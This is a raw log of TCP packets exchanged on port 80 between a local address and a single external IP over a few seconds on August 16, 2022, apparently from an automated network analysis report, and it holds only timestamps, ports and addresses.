Aug 16, 2022 11:53:34.988854885 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:35.006908894 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:35.007030964 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.126426935 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.128798962 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.130105972 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.133891106 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.337778091 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.339962006 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.366122007 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.366260052 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.366770029 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.373663902 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.373744011 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.374214888 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.601877928 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602387905 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602430105 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602475882 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602524996 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602581978 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602607965 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602608919 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602658033 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602674961 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602700949 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602706909 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602735043 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602751970 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602801085 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602828979 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602852106 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.602885962 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.602893114 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.605763912 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.617484093 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.617542982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.617670059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.617703915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.617783070 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.617825985 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.617886066 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.617958069 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.618063927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618119955 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618191004 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.618210077 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618267059 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618341923 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.618391991 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618489981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.618563890 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.621490955 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.841856956 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.841917038 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.841969013 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.842015982 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.842046022 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.842061043 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.842077971 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.842082977 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.842093945 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.842147112 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.843364954 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.853621006 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853666067 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853698969 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853729010 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.853756905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.853782892 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853853941 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.853923082 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853959084 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.853997946 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854029894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854093075 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854130030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854185104 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854432106 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854470968 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854501963 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854510069 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854526997 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854535103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854552031 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854569912 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854587078 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854602098 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854605913 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854639053 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854692936 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854724884 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854778051 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854805946 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854809999 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854835033 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854860067 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.854887962 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.854942083 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:37.855005980 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:37.855113029 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.078425884 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.079178095 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.084718943 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.093712091 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.093774080 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.093828917 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.093873024 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.093892097 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.093921900 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.093941927 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.093955994 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.093969107 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.093977928 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094022989 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094032049 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094068050 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094131947 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094175100 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094266891 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094312906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094377041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094422102 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094469070 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094511986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.094511986 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.094552994 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101615906 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.101672888 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.101692915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101726055 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.101767063 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101788044 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.101824999 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101835966 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101835966 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.101888895 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.101931095 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102016926 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102076054 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102097988 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102144003 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102191925 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102240086 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102253914 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102310896 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102408886 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102449894 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102458954 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102498055 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102570057 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102610111 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102665901 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102689981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102696896 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102777004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102814913 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102835894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102859974 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.102947950 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.102998018 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103034019 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103080988 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103169918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103209972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103216887 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103255033 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103321075 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103418112 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103447914 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103461981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103494883 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103511095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103549004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103600979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103627920 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103674889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103821993 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103862047 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.103878021 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.103916883 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.111762047 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.323507071 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.325162888 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.327817917 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.337811947 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.337856054 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.337894917 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.337934971 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.337960005 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.337975025 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338006020 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338047028 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338095903 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338136911 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338149071 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338212013 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338224888 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338277102 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338296890 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338349104 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338433981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338483095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.338852882 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.338901043 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.340457916 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.340538979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.340640068 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.340687990 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.341036081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.341089010 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.345787048 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.345829964 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.345866919 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.345880985 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.345915079 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.345917940 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.353744030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.353780985 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.353821039 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.353858948 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.353909969 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.353950977 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.353954077 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.353955984 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.353977919 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354033947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354058027 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354108095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354125977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354178905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354193926 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354253054 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354281902 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354331017 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354397058 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354448080 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354507923 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354547024 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354561090 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354582071 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354707003 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354749918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354770899 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354804993 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354820013 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.354868889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.354990005 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355032921 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355055094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355071068 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355082035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355115891 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355159998 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355214119 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355227947 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355278015 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355294943 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355344057 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355418921 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355463028 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355469942 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355530024 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355591059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355607033 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355654955 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355675936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.355724096 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.355918884 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562637091 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562661886 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562681913 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562702894 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562721968 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562742949 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562766075 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562788963 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562788010 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562812090 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562827110 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562834024 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562835932 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562839985 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562853098 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562860012 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562880039 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562884092 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562896967 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562906027 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562927961 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562930107 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562943935 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562948942 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562971115 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.562982082 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.562989950 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.563028097 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.577697039 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.577740908 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.577776909 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.577831984 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.577862024 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.577887058 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.577924967 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.577945948 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.577984095 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578011036 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578066111 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578079939 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578121901 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578135967 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578161001 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578188896 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578246117 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578253984 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578319073 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.578358889 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.578416109 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.585735083 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.585783005 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.585872889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.593694925 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.593765974 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.593872070 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.601676941 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601711035 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601741076 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601758003 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.601773977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601809978 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:38.601810932 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.601836920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:38.601859093 CEST	49201	80	192.168.2.22	187.45.240.69
